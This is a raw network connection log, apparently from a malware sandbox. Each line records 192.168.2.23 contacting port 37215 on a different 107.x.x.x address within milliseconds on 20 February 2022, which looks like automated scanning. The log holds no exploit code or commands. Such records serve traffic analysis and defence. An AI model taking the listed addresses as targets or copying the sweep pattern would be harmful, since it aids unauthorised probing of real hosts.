Feb 20, 2022 15:51:01.813429117 CET	1386	37215	192.168.2.23	107.71.180.73
Feb 20, 2022 15:51:01.813467026 CET	1386	37215	192.168.2.23	107.173.76.32
Feb 20, 2022 15:51:01.813476086 CET	1386	37215	192.168.2.23	107.147.228.197
Feb 20, 2022 15:51:01.813494921 CET	1386	37215	192.168.2.23	107.243.138.200
Feb 20, 2022 15:51:01.813530922 CET	1386	37215	192.168.2.23	107.13.35.105
Feb 20, 2022 15:51:01.813553095 CET	1386	37215	192.168.2.23	107.205.242.29
Feb 20, 2022 15:51:01.813560009 CET	1386	37215	192.168.2.23	107.163.101.113
Feb 20, 2022 15:51:01.813575029 CET	1386	37215	192.168.2.23	107.125.182.246
Feb 20, 2022 15:51:01.813610077 CET	1386	37215	192.168.2.23	107.194.223.15
Feb 20, 2022 15:51:01.813632965 CET	1386	37215	192.168.2.23	107.241.113.184
Feb 20, 2022 15:51:01.813636065 CET	1386	37215	192.168.2.23	107.16.130.31
Feb 20, 2022 15:51:01.813652992 CET	1386	37215	192.168.2.23	107.88.20.142
Feb 20, 2022 15:51:01.813682079 CET	1386	37215	192.168.2.23	107.3.50.247
Feb 20, 2022 15:51:01.813700914 CET	1386	37215	192.168.2.23	107.58.220.223
Feb 20, 2022 15:51:01.813740969 CET	1386	37215	192.168.2.23	107.208.223.107
Feb 20, 2022 15:51:01.813743114 CET	1386	37215	192.168.2.23	107.238.222.188
Feb 20, 2022 15:51:01.813760996 CET	1386	37215	192.168.2.23	107.134.143.95
Feb 20, 2022 15:51:01.813780069 CET	1386	37215	192.168.2.23	107.88.54.251
Feb 20, 2022 15:51:01.813822985 CET	1386	37215	192.168.2.23	107.217.161.191
Feb 20, 2022 15:51:01.813823938 CET	1386	37215	192.168.2.23	107.245.250.99
Feb 20, 2022 15:51:01.813863039 CET	1386	37215	192.168.2.23	107.8.180.188
Feb 20, 2022 15:51:01.813864946 CET	1386	37215	192.168.2.23	107.215.103.27
Feb 20, 2022 15:51:01.813888073 CET	1386	37215	192.168.2.23	107.177.192.70
Feb 20, 2022 15:51:01.813899994 CET	1386	37215	192.168.2.23	107.85.119.219
Feb 20, 2022 15:51:01.813920021 CET	1386	37215	192.168.2.23	107.156.254.135
Feb 20, 2022 15:51:01.813942909 CET	1386	37215	192.168.2.23	107.212.137.77
Feb 20, 2022 15:51:01.813966036 CET	1386	37215	192.168.2.23	107.106.151.121
Feb 20, 2022 15:51:01.813997984 CET	1386	37215	192.168.2.23	107.140.194.207
Feb 20, 2022 15:51:01.814022064 CET	1386	37215	192.168.2.23	107.79.174.224
Feb 20, 2022 15:51:01.814043045 CET	1386	37215	192.168.2.23	107.215.17.100
Feb 20, 2022 15:51:01.814064980 CET	1386	37215	192.168.2.23	107.236.242.162
Feb 20, 2022 15:51:01.814080954 CET	1386	37215	192.168.2.23	107.190.121.204
Feb 20, 2022 15:51:01.814085960 CET	1386	37215	192.168.2.23	107.103.247.127
Feb 20, 2022 15:51:01.814101934 CET	1386	37215	192.168.2.23	107.233.237.209
Feb 20, 2022 15:51:01.814131975 CET	1386	37215	192.168.2.23	107.129.143.63
Feb 20, 2022 15:51:01.814148903 CET	1386	37215	192.168.2.23	107.191.139.179
Feb 20, 2022 15:51:01.814168930 CET	1386	37215	192.168.2.23	107.90.128.221
Feb 20, 2022 15:51:01.814188004 CET	1386	37215	192.168.2.23	107.154.85.140
Feb 20, 2022 15:51:01.814213037 CET	1386	37215	192.168.2.23	107.169.152.248
Feb 20, 2022 15:51:01.814246893 CET	1386	37215	192.168.2.23	107.236.159.83
Feb 20, 2022 15:51:01.814266920 CET	1386	37215	192.168.2.23	107.42.112.82
Feb 20, 2022 15:51:01.814268112 CET	1386	37215	192.168.2.23	107.225.2.222
Feb 20, 2022 15:51:01.814290047 CET	1386	37215	192.168.2.23	107.56.104.11
Feb 20, 2022 15:51:01.814304113 CET	1386	37215	192.168.2.23	107.83.249.241
Feb 20, 2022 15:51:01.814352036 CET	1386	37215	192.168.2.23	107.173.173.147
Feb 20, 2022 15:51:01.814354897 CET	1386	37215	192.168.2.23	107.87.102.250
Feb 20, 2022 15:51:01.814363003 CET	1386	37215	192.168.2.23	107.159.224.248
Feb 20, 2022 15:51:01.814410925 CET	1386	37215	192.168.2.23	107.166.106.6
Feb 20, 2022 15:51:01.814429045 CET	1386	37215	192.168.2.23	107.39.186.64
Feb 20, 2022 15:51:01.814444065 CET	1386	37215	192.168.2.23	107.242.25.119
Feb 20, 2022 15:51:01.814450979 CET	1386	37215	192.168.2.23	107.182.165.182
Feb 20, 2022 15:51:01.814491034 CET	1386	37215	192.168.2.23	107.187.96.137
Feb 20, 2022 15:51:01.814493895 CET	1386	37215	192.168.2.23	107.154.241.130
Feb 20, 2022 15:51:01.814515114 CET	1386	37215	192.168.2.23	107.94.199.160
Feb 20, 2022 15:51:01.814553022 CET	1386	37215	192.168.2.23	107.237.70.44
Feb 20, 2022 15:51:01.814554930 CET	1386	37215	192.168.2.23	107.45.104.73
Feb 20, 2022 15:51:01.814579010 CET	1386	37215	192.168.2.23	107.173.198.51
Feb 20, 2022 15:51:01.814599991 CET	1386	37215	192.168.2.23	107.176.102.244
Feb 20, 2022 15:51:01.814627886 CET	1386	37215	192.168.2.23	107.126.245.170
Feb 20, 2022 15:51:01.814635038 CET	1386	37215	192.168.2.23	107.106.197.38
Feb 20, 2022 15:51:01.814655066 CET	1386	37215	192.168.2.23	107.66.154.127
Feb 20, 2022 15:51:01.814671040 CET	1386	37215	192.168.2.23	107.6.20.129
Feb 20, 2022 15:51:01.814697027 CET	1386	37215	192.168.2.23	107.146.215.155
Feb 20, 2022 15:51:01.814718008 CET	1386	37215	192.168.2.23	107.92.242.91
Feb 20, 2022 15:51:01.814742088 CET	1386	37215	192.168.2.23	107.24.50.231
Feb 20, 2022 15:51:01.814758062 CET	1386	37215	192.168.2.23	107.129.85.236
Feb 20, 2022 15:51:01.814793110 CET	1386	37215	192.168.2.23	107.177.184.246
Feb 20, 2022 15:51:01.814796925 CET	1386	37215	192.168.2.23	107.14.231.254
Feb 20, 2022 15:51:01.814815044 CET	1386	37215	192.168.2.23	107.105.235.154
Feb 20, 2022 15:51:01.814851046 CET	1386	37215	192.168.2.23	107.76.138.1
Feb 20, 2022 15:51:01.814873934 CET	1386	37215	192.168.2.23	107.19.244.74
Feb 20, 2022 15:51:01.814882994 CET	1386	37215	192.168.2.23	107.7.130.43
Feb 20, 2022 15:51:01.814902067 CET	1386	37215	192.168.2.23	107.171.82.182
Feb 20, 2022 15:51:01.814919949 CET	1386	37215	192.168.2.23	107.91.60.136
Feb 20, 2022 15:51:01.814951897 CET	1386	37215	192.168.2.23	107.113.137.247
Feb 20, 2022 15:51:01.814975977 CET	1386	37215	192.168.2.23	107.235.114.138
Feb 20, 2022 15:51:01.814980030 CET	1386	37215	192.168.2.23	107.20.76.18
Feb 20, 2022 15:51:01.814991951 CET	1386	37215	192.168.2.23	107.120.196.143
Feb 20, 2022 15:51:01.815016985 CET	1386	37215	192.168.2.23	107.66.39.42
Feb 20, 2022 15:51:01.815061092 CET	1386	37215	192.168.2.23	107.82.209.204
Feb 20, 2022 15:51:01.815068960 CET	1386	37215	192.168.2.23	107.212.253.127
Feb 20, 2022 15:51:01.815080881 CET	1386	37215	192.168.2.23	107.16.38.0
Feb 20, 2022 15:51:01.815094948 CET	1386	37215	192.168.2.23	107.217.28.48
Feb 20, 2022 15:51:01.815119028 CET	1386	37215	192.168.2.23	107.1.186.197
Feb 20, 2022 15:51:01.815144062 CET	1386	37215	192.168.2.23	107.103.175.182
Feb 20, 2022 15:51:01.815174103 CET	1386	37215	192.168.2.23	107.254.243.193
Feb 20, 2022 15:51:01.815177917 CET	1386	37215	192.168.2.23	107.165.57.48
Feb 20, 2022 15:51:01.815201044 CET	1386	37215	192.168.2.23	107.219.129.235
Feb 20, 2022 15:51:01.815227032 CET	1386	37215	192.168.2.23	107.77.78.219
Feb 20, 2022 15:51:01.815257072 CET	1386	37215	192.168.2.23	107.211.79.243
Feb 20, 2022 15:51:01.815260887 CET	1386	37215	192.168.2.23	107.216.137.112
Feb 20, 2022 15:51:01.815285921 CET	1386	37215	192.168.2.23	107.184.241.217
Feb 20, 2022 15:51:01.815318108 CET	1386	37215	192.168.2.23	107.244.44.11
Feb 20, 2022 15:51:01.815329075 CET	1386	37215	192.168.2.23	107.3.240.183
Feb 20, 2022 15:51:01.815352917 CET	1386	37215	192.168.2.23	107.10.215.227
Feb 20, 2022 15:51:01.815366983 CET	1386	37215	192.168.2.23	107.53.36.163
Feb 20, 2022 15:51:01.815396070 CET	1386	37215	192.168.2.23	107.117.99.219
Feb 20, 2022 15:51:01.815422058 CET	1386	37215	192.168.2.23	107.64.56.37
Feb 20, 2022 15:51:01.815431118 CET	1386	37215	192.168.2.23	107.35.179.183
Feb 20, 2022 15:51:01.815466881 CET	1386	37215	192.168.2.23	107.96.54.240
Feb 20, 2022 15:51:01.815486908 CET	1386	37215	192.168.2.23	107.72.36.124
Feb 20, 2022 15:51:01.815500021 CET	1386	37215	192.168.2.23	107.76.108.221
Feb 20, 2022 15:51:01.815519094 CET	1386	37215	192.168.2.23	107.94.244.228
Feb 20, 2022 15:51:01.815561056 CET	1386	37215	192.168.2.23	107.28.168.135
Feb 20, 2022 15:51:01.815562963 CET	1386	37215	192.168.2.23	107.146.32.86
Feb 20, 2022 15:51:01.815577030 CET	1386	37215	192.168.2.23	107.225.149.164
Feb 20, 2022 15:51:01.815618992 CET	1386	37215	192.168.2.23	107.53.19.171
Feb 20, 2022 15:51:01.815632105 CET	1386	37215	192.168.2.23	107.220.80.212
Feb 20, 2022 15:51:01.815645933 CET	1386	37215	192.168.2.23	107.85.146.57
Feb 20, 2022 15:51:01.815653086 CET	1386	37215	192.168.2.23	107.68.187.176
Feb 20, 2022 15:51:01.815680981 CET	1386	37215	192.168.2.23	107.113.149.199
Feb 20, 2022 15:51:01.815700054 CET	1386	37215	192.168.2.23	107.34.81.148
Feb 20, 2022 15:51:01.815742970 CET	1386	37215	192.168.2.23	107.92.54.142
Feb 20, 2022 15:51:01.815748930 CET	1386	37215	192.168.2.23	107.255.103.99
Feb 20, 2022 15:51:01.815766096 CET	1386	37215	192.168.2.23	107.179.48.155
Feb 20, 2022 15:51:01.815778971 CET	1386	37215	192.168.2.23	107.225.245.92
Feb 20, 2022 15:51:01.815812111 CET	1386	37215	192.168.2.23	107.69.194.39
Feb 20, 2022 15:51:01.815823078 CET	1386	37215	192.168.2.23	107.11.65.84
Feb 20, 2022 15:51:01.815866947 CET	1386	37215	192.168.2.23	107.163.240.121
Feb 20, 2022 15:51:01.815886974 CET	1386	37215	192.168.2.23	107.25.86.128
Feb 20, 2022 15:51:01.815911055 CET	1386	37215	192.168.2.23	107.186.189.254
Feb 20, 2022 15:51:01.815915108 CET	1386	37215	192.168.2.23	107.50.82.192
Feb 20, 2022 15:51:01.815939903 CET	1386	37215	192.168.2.23	107.118.39.22
Feb 20, 2022 15:51:01.815949917 CET	1386	37215	192.168.2.23	107.45.12.115
Feb 20, 2022 15:51:01.815989971 CET	1386	37215	192.168.2.23	107.115.120.23
Feb 20, 2022 15:51:01.815993071 CET	1386	37215	192.168.2.23	107.133.70.248
Feb 20, 2022 15:51:01.816020966 CET	1386	37215	192.168.2.23	107.174.247.49
Feb 20, 2022 15:51:01.816051960 CET	1386	37215	192.168.2.23	107.241.184.232
Feb 20, 2022 15:51:01.816061020 CET	1386	37215	192.168.2.23	107.65.130.170
Feb 20, 2022 15:51:01.816081047 CET	1386	37215	192.168.2.23	107.171.59.18
Feb 20, 2022 15:51:01.816087008 CET	1386	37215	192.168.2.23	107.76.76.248
Feb 20, 2022 15:51:01.816107035 CET	1386	37215	192.168.2.23	107.118.160.236
Feb 20, 2022 15:51:01.816139936 CET	1386	37215	192.168.2.23	107.197.21.180
Feb 20, 2022 15:51:01.816169024 CET	1386	37215	192.168.2.23	107.200.128.172
Feb 20, 2022 15:51:01.816173077 CET	1386	37215	192.168.2.23	107.148.182.18
Feb 20, 2022 15:51:01.816204071 CET	1386	37215	192.168.2.23	107.92.195.143
Feb 20, 2022 15:51:01.816220045 CET	1386	37215	192.168.2.23	107.174.222.150
Feb 20, 2022 15:51:01.816237926 CET	1386	37215	192.168.2.23	107.242.207.175
Feb 20, 2022 15:51:01.816252947 CET	1386	37215	192.168.2.23	107.76.13.74
Feb 20, 2022 15:51:01.816267967 CET	1386	37215	192.168.2.23	107.230.164.118
Feb 20, 2022 15:51:01.816288948 CET	1386	37215	192.168.2.23	107.44.115.212
Feb 20, 2022 15:51:01.816312075 CET	1386	37215	192.168.2.23	107.242.229.205
Feb 20, 2022 15:51:01.816334009 CET	1386	37215	192.168.2.23	107.36.159.134
Feb 20, 2022 15:51:01.816366911 CET	1386	37215	192.168.2.23	107.90.123.96
Feb 20, 2022 15:51:01.816406012 CET	1386	37215	192.168.2.23	107.188.43.200
Feb 20, 2022 15:51:01.816411018 CET	1386	37215	192.168.2.23	107.89.90.105
Feb 20, 2022 15:51:01.816411972 CET	1386	37215	192.168.2.23	107.107.39.62
Feb 20, 2022 15:51:01.816448927 CET	1386	37215	192.168.2.23	107.213.9.34
Feb 20, 2022 15:51:01.816450119 CET	1386	37215	192.168.2.23	107.251.52.19
Feb 20, 2022 15:51:01.816471100 CET	1386	37215	192.168.2.23	107.43.19.204
Feb 20, 2022 15:51:01.816508055 CET	1386	37215	192.168.2.23	107.237.167.81
Feb 20, 2022 15:51:01.816520929 CET	1386	37215	192.168.2.23	107.36.247.85
Feb 20, 2022 15:51:01.816544056 CET	1386	37215	192.168.2.23	107.188.202.233
Feb 20, 2022 15:51:01.816570044 CET	1386	37215	192.168.2.23	107.203.204.16
Feb 20, 2022 15:51:01.816570997 CET	1386	37215	192.168.2.23	107.158.81.146
Feb 20, 2022 15:51:01.816586971 CET	1386	37215	192.168.2.23	107.156.199.239
Feb 20, 2022 15:51:01.816611052 CET	1386	37215	192.168.2.23	107.214.168.251
Feb 20, 2022 15:51:01.816636086 CET	1386	37215	192.168.2.23	107.131.208.225
Feb 20, 2022 15:51:01.816652060 CET	1386	37215	192.168.2.23	107.253.17.22
Feb 20, 2022 15:51:01.816669941 CET	1386	37215	192.168.2.23	107.176.125.72
Feb 20, 2022 15:51:01.816710949 CET	1386	37215	192.168.2.23	107.109.5.228
Feb 20, 2022 15:51:01.816711903 CET	1386	37215	192.168.2.23	107.1.214.200
Feb 20, 2022 15:51:01.816732883 CET	1386	37215	192.168.2.23	107.10.74.70
Feb 20, 2022 15:51:01.816751957 CET	1386	37215	192.168.2.23	107.211.153.4
Feb 20, 2022 15:51:01.816771030 CET	1386	37215	192.168.2.23	107.172.55.102
Feb 20, 2022 15:51:01.816798925 CET	1386	37215	192.168.2.23	107.184.130.140
Feb 20, 2022 15:51:01.816814899 CET	1386	37215	192.168.2.23	107.54.8.235
Feb 20, 2022 15:51:01.816849947 CET	1386	37215	192.168.2.23	107.39.71.126
Feb 20, 2022 15:51:01.816875935 CET	1386	37215	192.168.2.23	107.109.154.246
Feb 20, 2022 15:51:01.816891909 CET	1386	37215	192.168.2.23	107.1.181.139
Feb 20, 2022 15:51:01.816899061 CET	1386	37215	192.168.2.23	107.156.116.169
Feb 20, 2022 15:51:01.816937923 CET	1386	37215	192.168.2.23	107.147.125.158
Feb 20, 2022 15:51:01.816941023 CET	1386	37215	192.168.2.23	107.79.68.47
Feb 20, 2022 15:51:01.816970110 CET	1386	37215	192.168.2.23	107.225.82.185
Feb 20, 2022 15:51:01.816977024 CET	1386	37215	192.168.2.23	107.148.89.75
Feb 20, 2022 15:51:01.817023993 CET	1386	37215	192.168.2.23	107.135.152.213
Feb 20, 2022 15:51:01.817037106 CET	1386	37215	192.168.2.23	107.6.178.180
Feb 20, 2022 15:51:01.817071915 CET	1386	37215	192.168.2.23	107.83.185.11
Feb 20, 2022 15:51:01.817081928 CET	1386	37215	192.168.2.23	107.137.108.218
Feb 20, 2022 15:51:01.817095041 CET	1386	37215	192.168.2.23	107.72.18.122
Feb 20, 2022 15:51:01.817126036 CET	1386	37215	192.168.2.23	107.4.233.58
Feb 20, 2022 15:51:01.817150116 CET	1386	37215	192.168.2.23	107.119.58.91
Feb 20, 2022 15:51:01.817163944 CET	1386	37215	192.168.2.23	107.209.205.198
Feb 20, 2022 15:51:01.817197084 CET	1386	37215	192.168.2.23	107.234.203.131
Feb 20, 2022 15:51:01.817210913 CET	1386	37215	192.168.2.23	107.42.114.80
Feb 20, 2022 15:51:01.817218065 CET	1386	37215	192.168.2.23	107.165.53.143
Feb 20, 2022 15:51:01.817230940 CET	1386	37215	192.168.2.23	107.95.22.187
Feb 20, 2022 15:51:01.817246914 CET	1386	37215	192.168.2.23	107.44.129.74
Feb 20, 2022 15:51:01.817270994 CET	1386	37215	192.168.2.23	107.246.201.184
Feb 20, 2022 15:51:01.817293882 CET	1386	37215	192.168.2.23	107.223.249.91
Feb 20, 2022 15:51:01.817312956 CET	1386	37215	192.168.2.23	107.108.81.111
Feb 20, 2022 15:51:01.817348957 CET	1386	37215	192.168.2.23	107.255.189.134
Feb 20, 2022 15:51:01.817375898 CET	1386	37215	192.168.2.23	107.170.103.172
Feb 20, 2022 15:51:01.817395926 CET	1386	37215	192.168.2.23	107.117.23.30
Feb 20, 2022 15:51:01.817420006 CET	1386	37215	192.168.2.23	107.186.117.243
Feb 20, 2022 15:51:01.817430019 CET	1386	37215	192.168.2.23	107.205.70.176
Feb 20, 2022 15:51:01.817435026 CET	1386	37215	192.168.2.23	107.171.43.184
Feb 20, 2022 15:51:01.817451000 CET	1386	37215	192.168.2.23	107.193.36.48
Feb 20, 2022 15:51:01.817495108 CET	1386	37215	192.168.2.23	107.20.195.66
Feb 20, 2022 15:51:01.817522049 CET	1386	37215	192.168.2.23	107.53.194.173
Feb 20, 2022 15:51:01.817555904 CET	1386	37215	192.168.2.23	107.195.215.243
Feb 20, 2022 15:51:01.817565918 CET	1386	37215	192.168.2.23	107.218.139.0
Feb 20, 2022 15:51:01.817581892 CET	1386	37215	192.168.2.23	107.51.37.69
Feb 20, 2022 15:51:01.817584038 CET	1386	37215	192.168.2.23	107.231.10.248
Feb 20, 2022 15:51:01.817605972 CET	1386	37215	192.168.2.23	107.18.241.35
Feb 20, 2022 15:51:01.817620039 CET	1386	37215	192.168.2.23	107.182.104.83
Feb 20, 2022 15:51:01.817656994 CET	1386	37215	192.168.2.23	107.106.191.47
Feb 20, 2022 15:51:01.817667961 CET	1386	37215	192.168.2.23	107.76.128.193
Feb 20, 2022 15:51:01.817678928 CET	1386	37215	192.168.2.23	107.1.238.36
Feb 20, 2022 15:51:01.817696095 CET	1386	37215	192.168.2.23	107.204.103.120
Feb 20, 2022 15:51:01.817733049 CET	1386	37215	192.168.2.23	107.126.107.158
Feb 20, 2022 15:51:01.817756891 CET	1386	37215	192.168.2.23	107.64.118.119
Feb 20, 2022 15:51:01.817775965 CET	1386	37215	192.168.2.23	107.12.207.64
Feb 20, 2022 15:51:01.817789078 CET	1386	37215	192.168.2.23	107.57.121.8
Feb 20, 2022 15:51:01.817817926 CET	1386	37215	192.168.2.23	107.245.124.163
Feb 20, 2022 15:51:01.817830086 CET	1386	37215	192.168.2.23	107.93.246.179
Feb 20, 2022 15:51:01.817842960 CET	1386	37215	192.168.2.23	107.202.77.238
Feb 20, 2022 15:51:01.817883968 CET	1386	37215	192.168.2.23	107.56.187.96
Feb 20, 2022 15:51:01.817903042 CET	1386	37215	192.168.2.23	107.55.194.185
Feb 20, 2022 15:51:01.817907095 CET	1386	37215	192.168.2.23	107.98.11.134
Feb 20, 2022 15:51:01.817924976 CET	1386	37215	192.168.2.23	107.73.111.203
Feb 20, 2022 15:51:01.817943096 CET	1386	37215	192.168.2.23	107.100.232.12
Feb 20, 2022 15:51:01.817987919 CET	1386	37215	192.168.2.23	107.225.106.173
Feb 20, 2022 15:51:01.818001986 CET	1386	37215	192.168.2.23	107.48.15.142
Feb 20, 2022 15:51:01.818003893 CET	1386	37215	192.168.2.23	107.41.117.175
Feb 20, 2022 15:51:01.818028927 CET	1386	37215	192.168.2.23	107.24.162.197
Feb 20, 2022 15:51:01.818043947 CET	1386	37215	192.168.2.23	107.144.142.207
Feb 20, 2022 15:51:01.818085909 CET	1386	37215	192.168.2.23	107.119.194.32
Feb 20, 2022 15:51:01.818094969 CET	1386	37215	192.168.2.23	107.212.15.247
Feb 20, 2022 15:51:01.818104982 CET	1386	37215	192.168.2.23	107.34.233.68
Feb 20, 2022 15:51:01.818124056 CET	1386	37215	192.168.2.23	107.133.164.87
Feb 20, 2022 15:51:01.818166018 CET	1386	37215	192.168.2.23	107.176.86.156
Feb 20, 2022 15:51:01.818172932 CET	1386	37215	192.168.2.23	107.185.235.248
Feb 20, 2022 15:51:01.818181038 CET	1386	37215	192.168.2.23	107.155.229.8
Feb 20, 2022 15:51:01.818205118 CET	1386	37215	192.168.2.23	107.88.178.156
Feb 20, 2022 15:51:01.818226099 CET	1386	37215	192.168.2.23	107.143.29.21
Feb 20, 2022 15:51:01.818268061 CET	1386	37215	192.168.2.23	107.31.197.4
Feb 20, 2022 15:51:01.818274975 CET	1386	37215	192.168.2.23	107.92.240.200
Feb 20, 2022 15:51:01.818293095 CET	1386	37215	192.168.2.23	107.171.2.217
Feb 20, 2022 15:51:01.818305969 CET	1386	37215	192.168.2.23	107.112.233.250
Feb 20, 2022 15:51:01.818331003 CET	1386	37215	192.168.2.23	107.27.218.78
Feb 20, 2022 15:51:01.818351030 CET	1386	37215	192.168.2.23	107.253.232.224
Feb 20, 2022 15:51:01.818387032 CET	1386	37215	192.168.2.23	107.83.185.203
Feb 20, 2022 15:51:01.818394899 CET	1386	37215	192.168.2.23	107.151.10.133
Feb 20, 2022 15:51:01.818411112 CET	1386	37215	192.168.2.23	107.88.8.182
Feb 20, 2022 15:51:01.818439960 CET	1386	37215	192.168.2.23	107.108.116.45
Feb 20, 2022 15:51:01.818470001 CET	1386	37215	192.168.2.23	107.157.136.240
Feb 20, 2022 15:51:01.818486929 CET	1386	37215	192.168.2.23	107.194.69.210
Feb 20, 2022 15:51:01.818507910 CET	1386	37215	192.168.2.23	107.237.255.157
Feb 20, 2022 15:51:01.818537951 CET	1386	37215	192.168.2.23	107.136.148.215
Feb 20, 2022 15:51:01.818541050 CET	1386	37215	192.168.2.23	107.214.20.243
Feb 20, 2022 15:51:01.818559885 CET	1386	37215	192.168.2.23	107.235.86.250
Feb 20, 2022 15:51:01.818587065 CET	1386	37215	192.168.2.23	107.197.126.94
Feb 20, 2022 15:51:01.818612099 CET	1386	37215	192.168.2.23	107.238.255.64
Feb 20, 2022 15:51:01.818635941 CET	1386	37215	192.168.2.23	107.79.138.47
Feb 20, 2022 15:51:01.818656921 CET	1386	37215	192.168.2.23	107.92.222.82
Feb 20, 2022 15:51:01.818675995 CET	1386	37215	192.168.2.23	107.114.213.98
Feb 20, 2022 15:51:01.818696976 CET	1386	37215	192.168.2.23	107.81.123.88
Feb 20, 2022 15:51:01.818708897 CET	1386	37215	192.168.2.23	107.223.205.134
Feb 20, 2022 15:51:01.818717957 CET	1386	37215	192.168.2.23	107.138.193.126
Feb 20, 2022 15:51:01.818742037 CET	1386	37215	192.168.2.23	107.184.102.12
Feb 20, 2022 15:51:01.818773031 CET	1386	37215	192.168.2.23	107.2.172.179
Feb 20, 2022 15:51:01.818802118 CET	1386	37215	192.168.2.23	107.208.206.174
Feb 20, 2022 15:51:01.818804026 CET	1386	37215	192.168.2.23	107.139.101.221
Feb 20, 2022 15:51:01.818824053 CET	1386	37215	192.168.2.23	107.151.68.29
Feb 20, 2022 15:51:01.818860054 CET	1386	37215	192.168.2.23	107.252.114.240
Feb 20, 2022 15:51:01.818866968 CET	1386	37215	192.168.2.23	107.42.77.84
Feb 20, 2022 15:51:01.818901062 CET	1386	37215	192.168.2.23	107.121.121.101
Feb 20, 2022 15:51:01.818922043 CET	1386	37215	192.168.2.23	107.100.22.115
Feb 20, 2022 15:51:01.818922997 CET	1386	37215	192.168.2.23	107.93.187.119
Feb 20, 2022 15:51:01.818947077 CET	1386	37215	192.168.2.23	107.209.154.128
Feb 20, 2022 15:51:01.818979979 CET	1386	37215	192.168.2.23	107.73.119.182
Feb 20, 2022 15:51:01.818994999 CET	1386	37215	192.168.2.23	107.251.234.200
Feb 20, 2022 15:51:01.819010019 CET	1386	37215	192.168.2.23	107.146.85.202
Feb 20, 2022 15:51:01.819042921 CET	1386	37215	192.168.2.23	107.51.45.233
Feb 20, 2022 15:51:01.819077969 CET	1386	37215	192.168.2.23	107.195.245.124
Feb 20, 2022 15:51:01.819091082 CET	1386	37215	192.168.2.23	107.245.16.190
Feb 20, 2022 15:51:01.819096088 CET	1386	37215	192.168.2.23	107.19.224.130
Feb 20, 2022 15:51:01.819113970 CET	1386	37215	192.168.2.23	107.96.203.255
Feb 20, 2022 15:51:01.819135904 CET	1386	37215	192.168.2.23	107.110.93.220
Feb 20, 2022 15:51:01.819142103 CET	1386	37215	192.168.2.23	107.94.103.249
Feb 20, 2022 15:51:01.819180965 CET	1386	37215	192.168.2.23	107.201.60.210
Feb 20, 2022 15:51:01.819184065 CET	1386	37215	192.168.2.23	107.126.150.25
Feb 20, 2022 15:51:01.819205999 CET	1386	37215	192.168.2.23	107.202.77.222
Feb 20, 2022 15:51:01.819242001 CET	1386	37215	192.168.2.23	107.80.217.155
Feb 20, 2022 15:51:01.819256067 CET	1386	37215	192.168.2.23	107.215.250.119
Feb 20, 2022 15:51:01.819276094 CET	1386	37215	192.168.2.23	107.194.172.140
Feb 20, 2022 15:51:01.819304943 CET	1386	37215	192.168.2.23	107.29.92.184
Feb 20, 2022 15:51:01.819317102 CET	1386	37215	192.168.2.23	107.223.248.212
Feb 20, 2022 15:51:01.819341898 CET	1386	37215	192.168.2.23	107.191.66.195
Feb 20, 2022 15:51:01.819343090 CET	1386	37215	192.168.2.23	107.178.7.101
Feb 20, 2022 15:51:01.819365025 CET	1386	37215	192.168.2.23	107.90.197.104
Feb 20, 2022 15:51:01.819386005 CET	1386	37215	192.168.2.23	107.251.218.244
Feb 20, 2022 15:51:01.819421053 CET	1386	37215	192.168.2.23	107.162.188.103
Feb 20, 2022 15:51:01.819425106 CET	1386	37215	192.168.2.23	107.99.147.121
Feb 20, 2022 15:51:01.819457054 CET	1386	37215	192.168.2.23	107.238.146.158
Feb 20, 2022 15:51:01.819463968 CET	1386	37215	192.168.2.23	107.222.148.140
Feb 20, 2022 15:51:01.819478035 CET	1386	37215	192.168.2.23	107.181.239.15
Feb 20, 2022 15:51:01.819530010 CET	1386	37215	192.168.2.23	107.149.211.151
Feb 20, 2022 15:51:01.819550037 CET	1386	37215	192.168.2.23	107.110.8.207
Feb 20, 2022 15:51:01.819552898 CET	1386	37215	192.168.2.23	107.241.177.221
Feb 20, 2022 15:51:01.819570065 CET	1386	37215	192.168.2.23	107.12.233.4
Feb 20, 2022 15:51:01.819591045 CET	1386	37215	192.168.2.23	107.45.19.60
Feb 20, 2022 15:51:01.819638968 CET	1386	37215	192.168.2.23	107.247.212.166
Feb 20, 2022 15:51:01.819674015 CET	1386	37215	192.168.2.23	107.128.154.191
Feb 20, 2022 15:51:01.819678068 CET	1386	37215	192.168.2.23	107.96.159.132
Feb 20, 2022 15:51:01.819679022 CET	1386	37215	192.168.2.23	107.94.189.226
Feb 20, 2022 15:51:01.819696903 CET	1386	37215	192.168.2.23	107.201.35.242
Feb 20, 2022 15:51:01.819724083 CET	1386	37215	192.168.2.23	107.127.74.17
Feb 20, 2022 15:51:01.819742918 CET	1386	37215	192.168.2.23	107.210.79.60
Feb 20, 2022 15:51:01.819773912 CET	1386	37215	192.168.2.23	107.231.66.89
Feb 20, 2022 15:51:01.819777966 CET	1386	37215	192.168.2.23	107.153.210.157
Feb 20, 2022 15:51:01.819801092 CET	1386	37215	192.168.2.23	107.173.22.122
Feb 20, 2022 15:51:01.819835901 CET	1386	37215	192.168.2.23	107.2.85.11
Feb 20, 2022 15:51:01.819844007 CET	1386	37215	192.168.2.23	107.114.208.249
Feb 20, 2022 15:51:01.819879055 CET	1386	37215	192.168.2.23	107.90.127.177
Feb 20, 2022 15:51:01.819886923 CET	1386	37215	192.168.2.23	107.240.86.237
Feb 20, 2022 15:51:01.819920063 CET	1386	37215	192.168.2.23	107.63.94.250
Feb 20, 2022 15:51:01.819931984 CET	1386	37215	192.168.2.23	107.86.117.190
Feb 20, 2022 15:51:01.819950104 CET	1386	37215	192.168.2.23	107.113.223.66
Feb 20, 2022 15:51:01.819971085 CET	1386	37215	192.168.2.23	107.243.7.96
Feb 20, 2022 15:51:01.819984913 CET	1386	37215	192.168.2.23	107.50.213.158
Feb 20, 2022 15:51:01.819993019 CET	1386	37215	192.168.2.23	107.47.81.43
Feb 20, 2022 15:51:01.820015907 CET	1386	37215	192.168.2.23	107.198.54.128
Feb 20, 2022 15:51:01.820039988 CET	1386	37215	192.168.2.23	107.251.133.10
Feb 20, 2022 15:51:01.820080042 CET	1386	37215	192.168.2.23	107.179.33.116
Feb 20, 2022 15:51:01.820106030 CET	1386	37215	192.168.2.23	107.199.9.144
Feb 20, 2022 15:51:01.820116997 CET	1386	37215	192.168.2.23	107.105.13.11
Feb 20, 2022 15:51:01.820122004 CET	1386	37215	192.168.2.23	107.147.23.244
Feb 20, 2022 15:51:01.820138931 CET	1386	37215	192.168.2.23	107.43.9.133
Feb 20, 2022 15:51:01.820163012 CET	1386	37215	192.168.2.23	107.127.155.45
Feb 20, 2022 15:51:01.820184946 CET	1386	37215	192.168.2.23	107.156.177.100
Feb 20, 2022 15:51:01.820197105 CET	1386	37215	192.168.2.23	107.33.71.47
